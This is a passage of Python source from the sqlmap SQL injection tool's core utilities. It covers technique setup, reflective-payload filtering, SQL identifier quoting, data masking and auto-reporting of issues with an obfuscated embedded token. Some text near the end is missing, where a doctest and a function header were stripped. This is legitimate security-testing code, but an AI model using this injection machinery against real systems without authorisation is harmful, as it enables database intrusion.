optionData.sort() for option, value, datatype in optionData: if datatype and isListLike(datatype): datatype = datatype[0] if option in IGNORE_SAVE_OPTIONS: continue if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): if option in defaults: value = str(defaults[option]) else: value = '0' elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, six.string_types): value = value.replace("\n", "\n ") config.set(family, option, value) with openFile(filename, "wb") as f: try: config.write(f) except IOError as ex: errMsg = "something went wrong while trying " errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) def initTechnique(technique=None): """ Prepares data for technique specified """ try: data = getTechniqueData(technique) resetCounter(technique) if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": setOptimize() else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warning(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" raise SqlmapNoneDataException(errMsg) def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself >>> arrayizeValue('1') ['1'] """ if isinstance(value, _collections.KeysView): value = [_ for _ in value] elif not isListLike(value): value = [value] return value def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself >>> unArrayizeValue(['1']) '1' >>> unArrayizeValue('1') '1' >>> unArrayizeValue(['1', '2']) '1' >>> unArrayizeValue([['a', 'b'], 'c']) 'a' >>> unArrayizeValue(_ for _ in xrange(10)) 0 """ if isListLike(value): if not value: value = None elif len(value) == 1 and not isListLike(value[0]): value = value[0] else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None elif inspect.isgenerator(value): value = unArrayizeValue([_ for _ in value]) return value def flattenValue(value): """ Returns an iterator representing flat representation of a given value >>> [_ for _ in flattenValue([['1'], [['2'], '3']])] ['1', '2', '3'] """ for i in iter(value): if isListLike(i): for j in flattenValue(i): yield j else: yield i def joinValue(value, delimiter=','): """ Returns a value consisting of joined parts of a given value >>> joinValue(['1', '2']) '1,2' >>> joinValue('1') '1' >>> joinValue(['1', None]) '1,None' """ if isListLike(value): retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) else: retVal = value return retVal def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True >>> isListLike('2') False """ return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.SQLITE >>> [test for test in getSortedInjectionTests() if hasattr(test, "details") and hasattr(test.details, "dbms")][0].details.dbms == kb.forcedDbms True >>> kb.forcedDbms = popValue() """ retVal = copy.deepcopy(conf.tests) def priorityFunction(test): retVal = SORT_ORDER.FIRST if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal def filterListValue(value, regex): """ Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: retVal = [_ for _ in value if re.search(regex, _, re.I)] else: retVal = value return retVal def showHttpErrorCodes(): """ Shows all HTTP error codes raised till now """ if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warning(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename >>> "openFile" in openFile(__file__).read() True >>> b"openFile" in openFile(__file__, "rb", None).read() True """ # Reference: https://stackoverflow.com/a/37462452 if 'b' in mode: buffering = 0 if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: kb.cache.content[filename] = sys.stdin.read() return contextlib.closing(io.StringIO(readCachedFileContent(filename))) else: try: return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process" raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character >>> decodeIntToUnicode(35) == '#' True >>> decodeIntToUnicode(64) == '@' True """ retVal = value if isinstance(value, int): try: if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ raw = decodeHex(_) if Backend.isDbms(DBMS.MYSQL): # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 retVal = getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) else: retVal = _unichr(value) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal def getDaysFromLastUpdate(): """ Get total number of days from last update >>> getDaysFromLastUpdate() >= 0 True """ if not paths: return return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception >>> all(_ in unhandledExceptionMessage() for _ in ("unhandled exception occurred", "Operating system", "Command line")) True """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: errMsg += " %s (fingerprinted)" % Backend.getDbms() if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): errMsg += " %s (identified)" % Backend.getIdentifiedDbms() if not errMsg.endswith(')'): errMsg += " None" return errMsg def getLatestRevision(): """ Retrieves latest revision from the offical repository """ retVal = None req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getUnicode(_urllib.request.urlopen(req).read()) retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) except: pass return retVal def fetchRandomAgent(): """ Returns random HTTP User-Agent header value >>> '(' in fetchRandomAgent() True """ if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % paths.USER_AGENTS logger.debug(debugMsg) try: kb.userAgents = getFileItems(paths.USER_AGENTS) except IOError: errMsg = "unable to read HTTP User-Agent header " errMsg += "file '%s'" % paths.USER_AGENTS raise SqlmapSystemException(errMsg) return random.sample(kb.userAgents, 1)[0] def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information """ try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: issues = [] finally: issues = set(issues) _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) key = hashlib.md5(getBytes(_)).hexdigest()[:8] if key in issues: return msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: choice = readInput(msg, default='N', checkBatch=False, boolean=True) except: choice = None if choice: _excMsg = None errMsg = errMsg[errMsg.find("\n"):] req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = _urllib.request.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warnMsg = "issue seems to be already reported" if closed: warnMsg += " and resolved. Please update to the latest " warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE logger.warning(warnMsg) return except: pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getText(_urllib.request.urlopen(req).read()) except Exception as ex: content = None _excMsg = getSafeExString(ex) issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) logger.info(infoMsg) try: with openFile(paths.GITHUB_HISTORY, "a+b") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" if _excMsg: warnMsg += " ('%s')" % _excMsg if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" logger.warning(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' True >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' True """ retVal = getUnicode(msg) for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): if isListLike(item): item = listToStrValue(item) regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal def listToStrValue(value): """ Flattens list to a string value >>> listToStrValue([1,2,3]) '1, 2, 3' """ if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): retVal = value.__str__().lstrip('[').rstrip(']') else: retVal = value return retVal def intersect(containerA, containerB, lowerCase=False): """ Returns intersection of the container-ized values >>> intersect([1, 2, 3], set([1,3])) [1, 3] """ retVal = [] if containerA and containerB: containerA = arrayizeValue(containerA) containerB = arrayizeValue(containerB) if lowerCase: containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] retVal = [val for val in containerA if val in containerB] return retVal def decodeStringEscape(value): """ Decodes escaped string values (e.g. "\\t" -> "\t") """ retVal = value if value and '\\' in value: charset = "\\%s" % string.whitespace.replace(" ", "") for _ in charset: retVal = retVal.replace(repr(_).strip("'"), _) return retVal def encodeStringEscape(value): """ Encodes escaped string values (e.g. "\t" -> "\\t") """ retVal = value if value: charset = "\\%s" % string.whitespace.replace(" ", "") for _ in charset: retVal = retVal.replace(_, repr(_).strip("'")) return retVal def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload (e.g. ..search.php?q=1 AND 1=2 --> "...searching for 1%20AND%201%3D2..." --> "...searching for __REFLECTED_VALUE__...") """ retVal = content try: if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) else: regex = r"\b%s" % regex if regex.endswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) else: regex = r"%s\b" % regex _retVal = [retVal] def _thread(regex): try: _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) if len(parts) > 2: regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) except KeyboardInterrupt: raise except: pass thread = threading.Thread(target=_thread, args=(regex,)) thread.daemon = True thread.start() thread.join(REFLECTED_REPLACEMENT_TIMEOUT) if thread.is_alive(): kb.reflectiveMechanism = False retVal = content if not suppressWarning: debugMsg = "turning off reflection removal mechanism (because of timeouts)" logger.debug(debugMsg) else: retVal = _retVal[0] if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" singleTimeWarnMessage(warnMsg) if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): warnMsg = "frames detected containing attacked parameter values. Please be sure to " warnMsg += "test those separately in case that attack on this page fails" singleTimeWarnMessage(warnMsg) elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) except (MemoryError, SystemError): kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism" logger.debug(debugMsg) return retVal def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings # Reference: http://www.peterbe.com/plog/unicode-to-ascii >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' True >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' True """ retVal = value if isinstance(value, six.text_type): retVal = unicodedata.normalize("NFKD", value) retVal = "".join(_ for _ in retVal if _ in charset) return retVal def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.MSSQL >>> getText(safeSQLIdentificatorNaming("begin")) '[begin]' >>> getText(safeSQLIdentificatorNaming("foobar")) 'foobar' >>> kb.forceDbms = popValue() """ retVal = name if conf.unsafeNaming: return retVal if isinstance(name, six.string_types): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): parts[i] = "[%s]" % parts[i] retVal = '.'.join(parts) else: if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.MSSQL >>> getText(unsafeSQLIdentificatorNaming("[begin]")) 'begin' >>> getText(unsafeSQLIdentificatorNaming("foobar")) 'foobar' >>> kb.forceDbms = popValue() """ retVal = name if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal def isNoneValue(value): """ Returns whether the value is unusable (None or '') >>> isNoneValue(None) True >>> isNoneValue('None') True >>> isNoneValue('') True >>> isNoneValue([]) True >>> isNoneValue([2]) False """ if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) elif isinstance(value, dict): return not any(value) else: return value is None def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value >>> isNullValue(u'NULL') True >>> isNullValue(u'foobar') False """ return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options """ class MnemonicNode(object): def __init__(self): self.next = {} self.current = [] head = MnemonicNode() pointer = None for group in parser.option_groups: for option in group.option_list: for opt in option._long_opts + option._short_opts: pointer = head for char in opt: if char == "-": continue elif char not in pointer.next: pointer.next[char] = MnemonicNode() pointer = pointer.next[char] pointer.current.append(option) for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head for char in name: if char in pointer.next: pointer = pointer.next[char] else: pointer = None break if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name raise SqlmapSyntaxException(errMsg) elif len(pointer.current) > 1: options = {} for option in pointer.current: for opt in option._long_opts + option._short_opts: opt = opt.strip('-') if opt.startswith(name): options[opt] = option if not options: warnMsg = "mnemonic '%s' can't be resolved" % name logger.warning(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: found = sorted(options.keys(), key=len)[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warning(warnMsg) if found: found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) if found: try: value = found.convert_value(found, value) except OptionValueError: value = None if value is not None: setattr(args, found.dest, value) elif not found.type: # boolean setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) raise SqlmapSyntaxException(errMsg) def safeCSValue(value): """ Returns value safe for CSV dumping # Reference: http://tools.ietf.org/html/rfc4180 >>> safeCSValue('foo, bar') '"foo, bar"' >>> safeCSValue('foobar') 'foobar' """ retVal = value if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') return retVal def filterPairValues(values): """ Returns only list-like values with length 2 >>> filterPairValues([[1, 2], [3], 1, [4, 5]]) [[1, 2], [4, 5]] """ retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] return retVal def randomizeParameterValue(value): """ Randomize a parameter value based on occurrences of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') 'fupgpy' >>> randomizeParameterValue('17') '36' """ retVal = value value = re.sub(r"%[0-9a-fA-F]{2}", "", value) for match in re.finditer(r"[A-Z]+", value): while True: original = match.group() candidate = randomStr(len(match.group())).upper() if original != candidate: break retVal = retVal.replace(original, candidate) for match in re.finditer(r"[a-z]+", value): while True: original = match.group() candidate = randomStr(len(match.group())).lower() if original != candidate: break retVal = retVal.replace(original, candidate) for match in re.finditer(r"[0-9]+", value): while True: original = match.group() candidate = str(randomInt(len(match.group()))) if original != candidate: break retVal = retVal.replace(original, candidate) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] retVal = '.'.join(parts) if not retVal: retVal = randomStr(lowercase=True) return retVal @cachedmethod def asciifyUrl(url, forceQuote=False): """ Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. # Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ >>> asciifyUrl(u'http://www.\\u0161u\\u0107uraj.com') 'http://www.xn--uuraj-gxa24d.com' """ parts = _urllib.parse.urlsplit(url) if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url return getText(url) if all(char in string.printable for char in url): return getText(url) hostname = parts.hostname if isinstance(hostname, six.binary_type): hostname = getUnicode(hostname) # idna-encode domain try: hostname = hostname.encode("idna") except: hostname = hostname.encode("punycode") # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: s = _urllib.parse.quote(getBytes(s), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe="&=") # put everything back together netloc = getText(hostname) if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc try: port = parts.port except: port = None if port: netloc += ':' + str(port) return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are coming from an admin user """ privileges = privileges or [] # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) # In Oracle the DBA privilege means that the # user is DBA retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges) # In Firebird there is no specific privilege that means # that the user is DBA retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal def findPageForms(content, url, raiseException=False, addToTargets=False): """ Parses given page content for possible forms (Note: still not implemented for Python3) >>> findPageForms('
', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)]) True """ class _(six.StringIO, object): def __init__(self, content, url): super(_, self).__init__(content) self._url = url def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) forms = None retVal = set() response = _(content, url) try: forms = ParseResponse(response, backwards_compat=False) except ParseError: if re.search(r"(?i)>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php') True >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php') False """ if not urls: return None elif len(urls) == 1: return True else: def _(value): if value and not re.search(r"\A\w+://", value): value = "http://%s" % value return value return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) def getHostHeader(url): """ Returns proper Host header value for a given target URL >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' """ retVal = url if url: retVal = _urllib.parse.urlparse(url).netloc if re.search(r"http(s)?://\[.+\]", url, re.I): retVal = 